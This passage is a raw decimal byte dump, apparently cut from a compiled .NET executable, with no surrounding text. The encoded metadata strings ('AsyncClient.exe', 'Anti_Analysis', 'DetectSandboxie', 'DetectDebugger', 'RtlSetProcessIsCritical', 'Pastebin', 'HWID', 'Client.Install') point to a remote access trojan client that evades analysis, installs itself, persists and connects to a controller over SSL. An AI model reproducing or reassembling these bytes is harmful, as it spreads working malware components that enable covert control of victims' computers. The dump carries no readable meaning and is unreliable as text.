,0,61,3,46,0,123,0,67,3,46,0,131,0,80,3,46,0,139,0,61,3,192,0,147,0,23,1,224,0,147,0,23,1,0,1,147,0,23,1,32,1,147,0,23,1,64,1,147,0,23,1,96,1,147,0,23,1,128,1,147,0,23,1,160,1,147,0,23,1,192,1,147,0,23,1,224,1,147,0,23,1,0,2,147,0,23,1,3,2,147,0,23,1,32,2,147,0,23,1,64,2,147,0,23,1,96,2,147,0,23,1,97,2,147,0,23,1,99,2,147,0,23,1,128,2,147,0,23,1,129,2,147,0,23,1,160,2,147,0,23,1,161,2,147,0,23,1,192,2,147,0,23,1,193,2,147,0,23,1,224,2,147,0,23,1,225,2,147,0,23,1,227,2,155,0,182,3,0,3,147,0,23,1,1,3,147,0,23,1,32,3,147,0,23,1,33,3,147,0,23,1,64,3,147,0,23,1,65,3,147,0,23,1,97,3,147,0,23,1,129,3,147,0,23,1,161,3,147,0,23,1,163,3,147,0,23,1,1,0,32,0,0,0,20,0,1,0,6,0,0,0,30,0,192,3,201,3,244,3,156,4,194,4,230,4,84,5,89,5,129,5,138,5,143,5,159,5,182,5,221,5,8,6,39,6,60,6,76,6,102,6,175,6,83,7,103,7,163,7,203,7,218,7,232,7,240,7,255,7,12,8,17,8,32,8,45,8,114,8,128,8,150,8,162,8,168,8,174,8,231,8,241,8,247,8,252,8,2,9,11,9,24,9,49,9,4,0,1,0,22,0,12,0,23,0,13,0,24,0,15,0,0,0,108,26,159,0,0,0,80,26,164,0,0,0,157,19,169,0,0,0,41,11,174,0,0,0,218,25,174,0,0,0,217,10,178,0,0,0,86,3,183,0,0,0,246,2,187,0,0,0,147,11,178,0,0,0,253,14,191,0,0,0,248,12,183,0,0,0,176,26,195,1,0,0,213,15,248,1,0,0,152,13,254,1,0,0,166,12,105,2,0,0,221,19,109,2,0,0,8,25,113,2,0,0,149,28,117,2,0,0,248,7,122,2,2,0,6,0,3,0,1,0,7,0,3,0,2,0,8,0,5,0,1,0,9,0,5,0,2,0,10,0,7,0,1,0,11,0,7,0,2,0,12,0,9,0,1,0,13,0,9,0,2,0,14,0,11,0,1,0,15,0,11,0,2,0,16,0,13,0,1,0,17,0,13,0,2,0,18,0,15,0,1,0,19,0,15,0,2,0,20,0,17,0,2,0,21,0,19,0,1,0,22,0,19,0,2,0,23,0,21,0,1,0,24,0,21,0,2,0,25,0,23,0,1,0,26,0,23,0,2,0,96,0,25,0,2,0,104,0,27,0,2,0,105,0,29,0,2,0,139,0,31,0,1,0,140,0,31,0,2,0,141,0,33,0,1,0,142,0,33,0,2,0,143,0,35,0,1,0,144,0,35,0,2,0,145,0,37,0,2,0,146,0,39,0,22,0,192,0,3,0,22,0,194,0,5,0,22,0,196,0,7,0,24,0,38,1,9,0,34,15,21,15,45,15,239,5,91,6,117,6,156,6,255,6,39,7,0,1,113,0,12,28,1,0,0,1,115,0,247,27,1,0,0,1,117,0,230,5,2,0,65,1,119,0,13,27,2,0,64,1,121,0,186,8,2,0,64,1,123,0,126,14,3,0,80,32,0,0,45,0,112,32,0,0,71,0,4,128,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,33,26,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,184,2,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,238,15,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,204,0,212,12,0,0,0,0,4,0,0,0,0,0,0,0,112,0,0,0,1,0,66,8,0,0,0,0,10,0,0,0,0,0,0,0,0,0,0,0,204,0,220,2,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,204,0,139,26,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,166,23,0,0,0,0,4,0,0,0,0,0,0,0,112,0,0,0,204,0,149,18,0,0,0,0,12,0,11,0,16,0,15,0,20,0,19,0,30,0,29,0,117,1,141,6,0,65,99,116,105,111,110,96,49,48,0,60,62,112,95,95,48,0,73,69,110,117,109,101,114,97,98,108,101,96,49,0,67,97,108,108,83,105,116,101,96,49,0,76,105,115,116,96,49,0,97,49,0,118,49,0,95,95,83,116,97,116,105,99,65,114,114,97,121,73,110,105,116,84,121,112,101,83,105,122,101,61,51,50,0,77,105,99,114,111,115,111,102,116,46,87,105,110,51,50,0,84,111,85,73,110,116,51,50,0,84,111,73,110,116,51,50,0,83,119,97,112,73,110,116,51,50,0,60,62,111,95,95,50,0,97,50,0,88,53,48,57,67,101,114,116,105,102,105,99,97,116,101,50,0,118,50,0,118,51,0,87,114,105,116,101,85,73,110,116,54,52,0,84,111,85,73,110,116,54,52,0,71,101,116,65,115,85,73,110,116,54,52,0,83,101,116,65,115,85,73,110,116,54,52,0,84,111,73,110,116,54,52,0,83,119,97,112,73,110,116,54,52,0,84,111,85,73,110,116,49,54,0,84,111,73,110,116,49,54,0,83,119,97,112,73,110,116,49,54,0,72,77,65,67,83,72,65,50,53,54,0,83,104,97,50,53,54,0,65,101,115,50,53,54,0,97,101,115,50,53,54,0,95,95,83,116,97,116,105,99,65,114,114,97,121,73,110,105,116,84,121,112,101,83,105,122,101,61,54,0,103,101,116,95,85,84,70,56,0,60,77,111,100,117,108,101,62,0,77,101,115,115,97,103,101,80,97,99,107,76,105,98,46,60,80,114,105,118,97,116,101,73,109,112,108,101,109,101,110,116,97,116,105,111,110,68,101,116,97,105,108,115,62,0,49,68,66,50,65,49,70,57,57,48,50,66,51,53,70,56,70,56,56,48,69,70,49,54,57,50,67,69,57,57,52,55,65,49,57,51,68,53,65,54,57,56,68,56,70,53,54,56,66,68,65,55,50,49,54,53,56,69,68,52,67,53,56,66,0,71,67,0,69,83,95,83,89,83,84,69,77,95,82,69,81,85,73,82,69,68,0,69,83,95,68,73,83,80,76,65,89,95,82,69,81,85,73,82,69,68,0,77,97,112,78,97,109,101,84,111,79,73,68,0,72,87,73,68,0,103,101,116,95,70,111,114,109,97,116,73,68,0,69,88,69,67,85,84,73,79,78,95,83,84,65,84,69,0,56,55,54,51,57,49,50,54,69,65,55,55,66,51,53,56,70,50,54,53,51,50,51,54,55,68,66,65,54,55,67,53,51,49,48,69,70,53,48,65,56,68,57,56,56,56,69,68,48,55,48,67,68,52,48,69,49,70,54,48,53,65,56,70,0,103,101,116,95,65,83,67,73,73,0,83,121,115,116,101,109,46,73,79,0,73,115,88,80,0,66,68,79,83,0,69,83,95,67,79,78,84,73,78,85,79,85,83,0,103,101,116,95,73,86,0,115,101,116,95,73,86,0,71,101,110,101,114,97,116,101,73,86,0,77,84,88,0,118,97,108,117,101,95,95,0,82,101,97,100,83,101,114,118,101,114,116,68,97,116,97,0,100,97,116,97,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,0,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,0,103,101,116,95,83,101,110,100,83,121,110,99,0,69,110,100,82,101,97,100,0,66,101,103,105,110,82,101,97,100,0,84,104,114,101,97,100,0,76,111,97,100,0,73,110,110,101,114,65,100,100,0,83,72,65,50,53,54,77,97,110,97,103,101,100,0,103,101,116,95,67,111,110,110,101,99,116,101,100,0,103,101,116,95,73,115,67,111,110,110,101,99,116,101,100,0,115,101,116,95,73,115,67,111,110,110,101,99,116,101,100,0,82,101,99,101,105,118,101,100,0,103,101,116,95,71,117,105,100,0,72,119,105,100,0,60,83,101,110,100,83,121,110,99,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,73,115,67,111,110,110,101,99,116,101,100,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,75,101,101,112,65,108,105,118,101,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,72,101,97,100,101,114,83,105,122,101,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,80,105,110,103,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,65,99,116,105,118,97,116,101,80,111,110,103,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,73,110,116,101,114,118,97,108,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,66,117,102,102,101,114,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,79,102,102,115,101,116,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,83,115,108,67,108,105,101,110,116,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,60,84,99,112,67,108,105,101,110,116,62,107,95,95,66,97,99,107,105,110,103,70,105,101,108,100,0,73,110,110,101,114,65,100,100,77,97,112,67,104,105,108,100,0,73,110,110,101,114,65,100,100,65,114,114,97,121,67,104,105,108,100,0,104,87,110,100,0,83,101,110,100,0,65,112,112,101,110,100,0,82,101,103,105,115,116,114,121,86,97,108,117,101,75,105,110,100,0,82,101,112,108,97,99,101,0,67,114,101,97,116,101,73,110,115,116,97,110,99,101,0,115,101,116,95,77,111,100,101,0,70,105,108,101,77,111,100,101,0,80,97,100,100,105,110,103,77,111,100,101,0,69,110,116,101,114,68,101,98,117,103,77,111,100,101,0,67,114,121,112,116,111,83,116,114,101,97,109,77,111,100,101,0,67,111,109,112,114,101,115,115,105,111,110,77,111,100,101,0,67,105,112,104,101,114,77,111,100,101,0,83,101,108,101,99,116,77,111,100,101,0,117,116,102,56,69,110,99,111,100,101,0,68,101,108,101,116,101,83,117,98,75,101,121,84,114,101,101,0,103,101,116,95,77,101,115,115,97,103,101,0,68,101,116,101,99,116,83,97,110,100,98,111,120,105,101,0,73,110,118,111,107,101,0,73,69,110,117,109,101,114,97,98,108,101,0,73,68,105,115,112,111,115,97,98,108,101,0,84,111,68,111,117,98,108,101,0,83,119,97,112,68,111,117,98,108,101,0,103,101,116,95,72,97,110,100,108,101,0,82,117,110,116,105,109,101,70,105,101,108,100,72,97,110,100,108,101,0,71,101,116,77,111,100,117,108,101,72,97,110,100,108,101,0,82,117,110,116,105,109,101,84,121,112,101,72,97,110,100,108,101,0,71,101,116,84,121,112,101,70,114,111,109,72,97,110,100,108,101,0,87,97,105,116,72,97,110,100,108,101,0,87,114,105,116,101,83,105,110,103,108,101,0,84,111,83,105,110,103,108,101,0,83,101,116,65,115,83,105,110,103,108,101,0,73,110,115,116,97,108,108,70,105,108,101,0,68,101,99,111,100,101,70,114,111,109,70,105,108,101,0,83,97,118,101,66,121,116,101,115,84,111,70,105,108,101,0,73,115,73,110,82,111,108,101,0,87,105,110,100,111,119,115,66,117,105,108,116,73,110,82,111,108,101,0,71,101,116,65,99,116,105,118,101,87,105,110,100,111,119,84,105,116,108,101,0,103,101,116,95,77,97,105,110,77,111,100,117,108,101,0,80,114,111,99,101,115,115,77,111,100,117,108,101,0,115,101,116,95,87,105,110,100,111,119,83,116,121,108,101,0,80,114,111,99,101,115,115,87,105,110,100,111,119,83,116,121,108,101,0,103,101,116,95,78,97,109,101,0,103,101,116,95,70,105,108,101,78,97,109,101,0,115,101,116,95,70,105,108,101,78,97,109,101,0,71,101,116,84,101,109,112,70,105,108,101,78,97,109,101,0,71,101,116,70,105,108,101,78,97,109,101,0,102,105,108,101,78,97,109,101,0,108,112,77,111,100,117,108,101,78,97,109,101,0,103,101,116,95,77,97,99,104,105,110,101,78,97,109,101,0,103,101,116,95,79,83,70,117,108,108,78,97,109,101,0,103,101,116,95,70,117,108,108,78,97,109,101,0,73,115,86,97,108,105,100,68,111,109,97,105,110,78,97,109,101,0,103,101,116,95,85,115,101,114,78,97,109,101,0,108,111,119,101,114,78,97,109,101,0,83,101,116,78,97,109,101,0,67,104,101,99,107,72,111,115,116,78,97,109,101,0,110,97,109,101,0,68,97,116,101,84,105,109,101,0,103,101,116,95,76,97,115,116,87,114,105,116,101,84,105,109,101,0,84,111,85,110,105,118,101,114,115,97,108,84,105,109,101,0,87,114,105,116,101,76,105,110,101,0,67,111,109,98,105,110,101,0,85,114,105,72,111,115,116,78,97,109,101,84,121,112,101,0,103,101,116,95,86,97,108,117,101,84,121,112,101,0,118,97,108,117,101,84,121,112,101,0,77,115,103,80,97,99,107,84,121,112,101,0,80,114,111,116,111,99,111,108,84,121,112,101,0,71,101,116,84,121,112,101,0,83,111,99,107,101,116,84,121,112,101,0,70,105,108,101,83,104,97,114,101,0,83,121,115,116,101,109,46,67,111,114,101,0,83,101,114,118,101,114,115,105,103,110,97,116,117,114,101,0,67,108,111,115,101,0,68,105,115,112,111,115,101,0,80,97,114,115,101,0,83,116,114,82,101,118,101,114,115,101,0,88,53,48,57,67,101,114,116,105,102,105,99,97,116,101,0,86,97,108,105,100,97,116,101,83,101,114,118,101,114,67,101,114,116,105,102,105,99,97,116,101,0,99,101,114,116,105,102,105,99,97,116,101,0,67,114,101,97,116,101,0,83,101,116,84,104,114,101,97,100,69,120,101,99,117,116,105,111,110,83,116,97,116,101,0,68,101,108,101,116,101,0,67,97,108,108,83,105,116,101,0,87,114,105,116,101,0,67,111,109,112,105,108,101,114,71,101,110,101,114,97,116,101,100,65,116,116,114,105,98,117,116,101,0,68,101,98,117,103,103,97,98,108,101,65,116,116,114,105,98,117,116,101,0,67,111,109,86,105,115,105,98,108,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,105,116,108,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105,98,117,116,101,0,84,97,114,103,101,116,70,114,97,109,101,119,111,114,107,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,70,105,108,101,86,101,114,115,105,111,110,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,67,111,110,102,105,103,117,114,97,116,105,111,110,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,68,101,115,99,114,105,112,116,105,111,110,65,116,116,114,105,98,117,116,101,0,68,101,102,97,117,108,116,77,101,109,98,101,114,65,116,116,114,105,98,117,116,101,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,80,114,111,100,117,99,116,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,67,111,112,121,114,105,103,104,116,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,67,111,109,112,97,110,121,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,115,101,116,95,85,115,101,83,104,101,108,108,69,120,101,99,117,116,101,0,82,101,97,100,66,121,116,101,0,87,114,105,116,101,66,121,116,101,0,68,101,108,101,116,101,86,97,108,117,101,0,105,110,110,101,114,86,97,108,117,101,0,71,101,116,86,97,108,117,101,0,83,101,116,86,97,108,117,101,0,118,97,108,117,101,0,103,101,116,95,75,101,101,112,65,108,105,118,101,0,115,101,116,95,75,101,101,112,65,108,105,118,101,0,82,101,109,111,118,101,0,65,115,121,110,99,67,108,105,101,110,116,46,101,120,101,0,115,101,116,95,66,108,111,99,107,83,105,122,101,0,103,101,116,95,84,111,116,97,108,83,105,122,101,0,103,101,116,95,72,101,97,100,101,114,83,105,122,101,0,115,101,116,95,72,101,97,100,101,114,83,105,122,101,0,115,101,116,95,83,101,110,100,66,117,102,102,101,114,83,105,122,101,0,115,101,116,95,82,101,99,101,105,118,101,66,117,102,102,101,114,83,105,122,101,0,115,101,116,95,75,101,121,83,105,122,101,0,73,110,100,101,120,79,102,0,115,116,114,70,108,97,103,0,67,114,121,112,116,111,67,111,110,102,105,103,0,103,101,116,95,80,105,110,103,0,115,101,116,95,80,105,110,103,0,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,0,115,101,116,95,80,97,100,100,105,110,103,0,97,100,100,95,83,101,115,115,105,111,110,69,110,100,105,110,103,0,83,121,115,116,101,109,69,118,101,110,116,115,95,83,101,115,115,105,111,110,69,110,100,105,110,103,0,85,84,70,56,69,110,99,111,100,105,110,103,0,83,121,115,116,101,109,46,68,114,97,119,105,110,103,46,73,109,97,103,105,110,103,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,86,101,114,115,105,111,110,105,110,103,0,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,0,84,111,66,97,115,101,54,52,83,116,114,105,110,103,0,82,101,97,100,83,116,114,105,110,103,0,68,111,119,110,108,111,97,100,83,116,114,105,110,103,0,87,114,105,116,101,83,116,114,105,110,103,0,84,111,83,116,114,105,110,103,0,103,101,116,95,65,115,83,116,114,105,110,103,0,115,101,116,95,65,115,83,116,114,105,110,103,0,66,121,116,101,115,65,115,83,116,114,105,110,103,0,71,101,116,65,115,83,116,114,105,110,103,0,83,101,116,65,115,83,116,114,105,110,103,0,71,101,116,83,116,114,105,110,103,0,66,121,116,101,115,65,115,72,101,120,83,116,114,105,110,103,0,83,117,98,115,116,114,105,110,103,0,83,121,115,116,101,109,46,68,114,97,119,105,110,103,0,103,101,116,95,65,99,116,105,118,97,116,101,80,111,110,103,0,115,101,116,95,65,99,116,105,118,97,116,101,80,111,110,103,0,115,101,116,95,69,114,114,111,114,68,105,97,108,111,103,0,109,115,103,0,67,111,109,112,117,116,101,72,97,115,104,0,115,116,114,84,111,72,97,115,104,0,71,101,116,72,97,115,104,0,86,101,114,105,102,121,72,97,115,104,0,70,108,117,115,104,0,103,101,116,95,69,120,101,99,117,116,97,98,108,101,80,97,116,104,0,71,101,116,84,101,109,112,80,97,116,104,0,112,97,116,104,0,72,109,97,99,83,104,97,50,53,54,76,101,110,103,116,104,0,103,101,116,95,76,101,110,103,116,104,0,73,118,76,101,110,103,116,104,0,65,117,116,104,75,101,121,76,101,110,103,116,104,0,85,114,105,0,65,110,116,105,0,109,115,103,112,97,99,107,79,98,106,0,108,105,115,116,79,98,106,0,111,98,106,0,77,101,115,115,97,103,101,80,97,99,107,76,105,98,46,77,101,115,115,97,103,101,80,97,99,107,0,77,115,103,80,97,99,107,0,65,115,121,110,99,67,97,108,108,98,97,99,107,0,82,101,109,111,116,101,67,101,114,116,105,102,105,99,97,116,101,86,97,108,105,100,97,116,105,111,110,67,97,108,108,98,97,99,107,0,84,105,109,101,114,67,97,108,108,98,97,99,107,0,117,110,112,97,99,107,95,109,115,103,112,97,99,107,0,82,101,103,105,115,116,114,121,75,101,121,80,101,114,109,105,115,115,105,111,110,67,104,101,99,107,0,70,108,117,115,104,70,105,110,97,108,66,108,111,99,107,0,73,115,83,109,97,108,108,68,105,115,107,0,98,86,97,108,0,102,86,97,108,0,105,86,97,108,0,115,116,114,86,97,108,0,82,116,108,83,101,116,80,114,111,99,101,115,115,73,115,67,114,105,116,105,99,97,108,0,80,114,111,99,101,115,115,67,114,105,116,105,99,97,108,0,78,101,116,119,111,114,107,67,114,101,100,101,110,116,105,97,108,0,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,80,114,105,110,99,105,112,97,108,0,87,105,110,100,111,119,115,80,114,105,110,99,105,112,97,108,0,65,114,101,69,113,117,97,108,0,103,101,116,95,73,110,116,101,114,118,97,108,0,115,101,116,95,73,110,116,101,114,118,97,108,0,67,108,105,101,110,116,46,73,110,115,116,97,108,108,0,107,101,114,110,101,108,51,50,46,100,108,108,0,117,115,101,114,51,50,46,100,108,108,0,110,116,100,108,108,46,100,108,108,0,75,105,108,108,0,80,111,108,108,0,87,114,105,116,101,78,117,108,108,0,83,101,116,65,115,78,117,108,108,0,77,117,116,101,120,67,111,110,116,114,111,108,0,69,110,99,111,100,101,50,83,116,114,101,97,109,0,70,105,108,101,83,116,114,101,97,109,0,78,101,116,119,111,114,107,83,116,114,101,97,109,0,83,115,108,83,116,114,101,97,109,0,68,101,99,111,100,101,70,114,111,109,83,116,114,101,97,109,0,67,114,121,112,116,111,83,116,114,101,97,109,0,71,90,105,112,83,116,114,101,97,109,0,77,101,109,111,114,121,83,116,114,101,97,109,0,80,114,111,103,114,97,109,0,103,101,116,95,73,116,101,109,0,103,101,116,95,73,115,54,52,66,105,116,79,112,101,114,97,116,105,110,103,83,121,115,116,101,109,0,67,108,105,101,110,116,46,65,108,103,111,114,105,116,104,109,0,83,121,109,109,101,116,114,105,99,65,108,103,111,114,105,116,104,109,0,65,115,121,109,109,101,116,114,105,99,65,108,103,111,114,105,116,104,109,0,72,97,115,104,65,108,103,111,114,105,116,104,109,0,84,114,105,109,0,82,97,110,100,111,109,0,73,67,114,121,112,116,111,84,114,97,110,115,102,111,114,109,0,77,115,103,80,97,99,107,69,110,117,109,0,87,114,105,116,101,66,111,111,108,101,97,110,0,84,111,66,111,111,108,101,97,110,0,83,101,116,65,115,66,111,111,108,101,97,110,0,72,119,105,100,71,101,110,0,108,101,110,0,99,104,105,108,100,114,101,110,0,77,97,105,110,0,88,53,48,57,67,104,97,105,110,0,99,104,97,105,110,0,65,112,112,68,111,109,97,105,110,0,103,101,116,95,67,117,114,114,101,110,116,68,111,109,97,105,110,0,80,97,115,116,101,98,105,110,0,73,115,65,100,109,105,110,0,74,111,105,110,0,71,101,116,70,105,108,101,78,97,109,101,87,105,116,104,111,117,116,69,120,116,101,110,115,105,111,110,0,103,101,116,95,79,83,86,101,114,115,105,111,110,0,83,121,115,116,101,109,46,73,79,46,67,111,109,112,114,101,115,115,105,111,110,0,65,112,112,108,105,99,97,116,105,111,110,0,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,65,117,116,104,101,110,116,105,99,97,116,105,111,110,0,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,0,88,53,48,57,67,101,114,116,105,102,105,99,97,116,101,67,111,108,108,101,99,116,105,111,110,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,67,111,108,108,101,99,116,105,111,110,0,67,108,105,101,110,116,46,67,111,110,110,101,99,116,105,111,110,0,115,101,116,95,80,111,115,105,116,105,111,110,0,112,111,115,105,116,105,111,110,0,67,114,121,112,116,111,103,114,97,112,104,105,99,69,120,99,101,112,116,105,111,110,0,65,114,103,117,109,101,110,116,78,117,108,108,69,120,99,101,112,116,105,111,110,0,65,114,103,117,109,101,110,116,69,120,99,101,112,116,105,111,110,0,85,110,107,110,111,119,110,0,73,109,97,103,101,67,111,100,101,99,73,110,102,111,0,83,101,110,100,73,110,102,111,0,70,105,108,101,73,110,102,111,0,68,114,105,118,101,73,110,102,111,0,70,105,108,101,83,121,115,116,101,109,73,110,102,111,0,67,111,109,112,117,116,101,114,73,110,102,111,0,67,83,104,97,114,112,65,114,103,117,109,101,110,116,73,110,102,111,0,80,114,111,99,101,115,115,83,116,97,114,116,73,110,102,111,0,87,114,105,116,101,77,97,112,0,80,114,101,118,101,110,116,83,108,101,101,112,0,90,105,112,0,99,117,114,114,101,110,116,65,112,112,0,77,105,99,114,111,115,111,102,116,46,67,83,104,97,114,112,0,71,114,111,117,112,0,78,111,114,109,97,108,83,116,97,114,116,117,112,0,83,121,115,116,101,109,46,76,105,110,113,0,67,108,101,97,114,0,67,104,97,114,0,73,110,118,111,107,101,77,101,109,98,101,114,0,77,68,53,67,114,121,112,116,111,83,101,114,118,105,99,101,80,114,111,118,105,100,101,114,0,82,83,65,67,114,121,112,116,111,83,101,114,118,105,99,101,80,114,111,118,105,100,101,114,0,65,101,115,67,114,121,112,116,111,83,101,114,118,105,99,101,80,114,111,118,105,100,101,114,0,83,116,114,105,110,103,66,117,105,108,100,101,114,0,73,110,115,116,97,108,108,70,111,108,100,101,114,0,73,100,83,101,110,100,101,114,0,115,101,110,100,101,114,0,77,105,99,114,111,115,111,102,116,46,67,83,104,97,114,112,46,82,117,110,116,105,109,101,66,105,110,100,101,114,0,67,97,108,108,83,105,116,101,66,105,110,100,101,114,0,71,101,116,69,110,99,111,100,101,114,0,103,101,116,95,66,117,102,102,101,114,0,115,101,116,95,66,117,102,102,101,114,0,87,114,105,116,101,73,110,116,101,103,101,114,0,103,101,116,95,65,115,73,110,116,101,103,101,114,0,115,101,116,95,65,115,73,110,116,101,103,101,114,0,71,101,116,65,115,73,110,116,101,103,101,114,0,83,101,116,65,115,73,110,116,101,103,101,114,0,68,101,116,101,99,116,68,101,98,117,103,103,101,114,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,83,101,97,114,99,104,101,114,0,83,101,115,115,105,111,110,69,110,100,105,110,103,69,118,101,110,116,72,97,110,100,108,101,114,0,84,105,109,101,114,0,111,119,110,101,114,0,67,108,105,101,110,116,46,72,101,108,112,101,114,0,84,111,85,112,112,101,114,0,68,101,116,101,99,116,77,97,110,117,102,97,99,116,117,114,101,114,0,67,117,114,114,101,110,116,85,115,101,114,0,83,116,114,101,97,109,87,114,105,116,101,114,0,84,101,120,116,87,114,105,116,101,114,0,69,110,116,101,114,0,66,105,116,67,111,110,118,101,114,116,101,114,0,84,111,76,111,119,101,114,0,69,114,114,111,114,0,73,69,110,117,109,101,114,97,116,111,114,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,69,110,117,109,101,114,97,116,111,114,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,73,69,110,117,109,101,114,97,98,108,101,46,71,101,116,69,110,117,109,101,114,97,116,111,114,0,65,99,116,105,118,97,116,111,114,0,46,99,116,111,114,0,46,99,99,116,111,114,0,77,111,110,105,116,111,114,0,67,114,101,97,116,101,68,101,99,114,121,112,116,111,114,0,67,114,101,97,116,101,69,110,99,114,121,112,116,111,114,0,73,110,116,80,116,114,0,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,0,78,97,116,105,118,101,77,101,116,104,111,100,115,0,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,68,101,118,105,99,101,115,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,68,101,98,117,103,103,105,110,103,77,111,100,101,115,0,69,120,112,97,110,100,69,110,118,105,114,111,110,109,101,110,116,86,97,114,105,97,98,108,101,115,0,71,101,116,80,114,111,99,101,115,115,101,115,0,71,101,116,72,111,115,116,65,100,100,114,101,115,115,101,115,0,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,67,114,121,112,116,111,103,114,97,112,104,121,46,88,53,48,57,67,101,114,116,105,102,105,99,97,116,101,115,0,69,110,99,111,100,101,50,66,121,116,101,115,0,71,101,116,85,116,102,56,66,121,116,101,115,0,117,116,102,56,66,121,116,101,115,0,82,102,99,50,56,57,56,68,101,114,105,118,101,66,121,116,101,115,0,82,101,97,100,65,108,108,66,121,116,101,115,0,68,101,99,111,100,101,70,114,111,109,66,121,116,101,115,0,83,119,97,112,66,121,116,101,115,0,76,111,97,100,70,105,108,101,65,115,66,121,116,101,115,0,71,101,116,65,115,66,121,116,101,115,0,83,101,116,65,115,66,121,116,101,115,0,71,101,116,66,121,116,101,115,0,114,97,119,66,121,116,101,115,0,98,121,116,101,115,0,67,83,104,97,114,112,65,114,103,117,109,101,110,116,73,110,102,111,70,108,97,103,115,0,67,83,104,97,114,112,66,105,110,100,101,114,70,108,97,103,115,0,101,115,70,108,97,103,115,0,83,116,114,105,110,103,115,0,73,110,105,116,105,97,108,105,122,101,83,101,116,116,105,110,103,115,0,83,101,115,115,105,111,110,69,110,100,105,110,103,69,118,101,110,116,65,114,103,115,0,65,110,116,105,95,65,110,97,108,121,115,105,115,0,82,117,110,65,110,116,105,65,110,97,108,121,115,105,115,0,80,97,99,107,115,0,73,67,114,101,100,101,110,116,105,97,108,115,0,115,101,116,95,67,114,101,100,101,110,116,105,97,108,115,0,69,113,117,97,108,115,0,83,115,108,80,114,111,116,111,99,111,108,115,0,82,101,97,100,84,111,111,108,115,0,87,114,105,116,101,84,111,111,108,115,0,66,121,116,101,115,84,111,111,108,115,0,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,0,68,110,115,0,67,111,110,116,97,105,110,115,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,0,83,116,114,105,110,103,83,112,108,105,116,79,112,116,105,111,110,115,0,71,101,116,73,109,97,103,101,68,101,99,111,100,101,114,115,0,82,117,110,116,105,109,101,72,101,108,112,101,114,115,0,83,115,108,80,111,108,105,99,121,69,114,114,111,114,115,0,115,115,108,80,111,108,105,99,121,69,114,114,111,114,115,0,70,105,108,101,65,99,99,101,115,115,0,104,80,114,111,99,101,115,115,0,71,101,116,67,117,114,114,101,110,116,80,114,111,99,101,115,115,0,73,80,65,100,100,114,101,115,115,0,67,111,109,112,114,101,115,115,0,68,101,99,111,109,112,114,101,115,115,0,83,121,115,116,101,109,46,78,101,116,46,83,111,99,107,101,116,115,0,115,101,116,95,65,114,103,117,109,101,110,116,115,0,83,121,115,116,101,109,69,118,101,110,116,115,0,80,111,114,116,115,0,69,120,105,115,116,115,0,72,111,115,116,115,0,65,110,116,105,118,105,114,117,115,0,67,111,110,99,97,116,0,73,109,97,103,101,70,111,114,109,97,116,0,102,111,114,109,97,116,0,87,114,105,116,101,70,108,111,97,116,0,103,101,116,95,65,115,70,108,111,97,116,0,115,101,116,95,65,115,70,108,111,97,116,0,71,101,116,65,115,70,108,111,97,116,0,83,101,116,65,115,70,108,111,97,116,0,70,105,110,100,79,98,106,101,99,116,0,77,97,110,97,103,101,109,101,110,116,66,97,115,101,79,98,106,101,99,116,0,70,111,114,99,101,80,97,116,104,79,98,106,101,99,116,0,67,111,108,108,101,99,116,0,67,111,110,110,101,99,116,0,82,101,99,111,110,110,101,99,116,0,71,101,116,0,83,121,115,116,101,109,46,78,101,116,0,83,101,116,0,84,97,114,103,101,116,0,67,108,105,101,110,116,46,72,97,110,100,108,10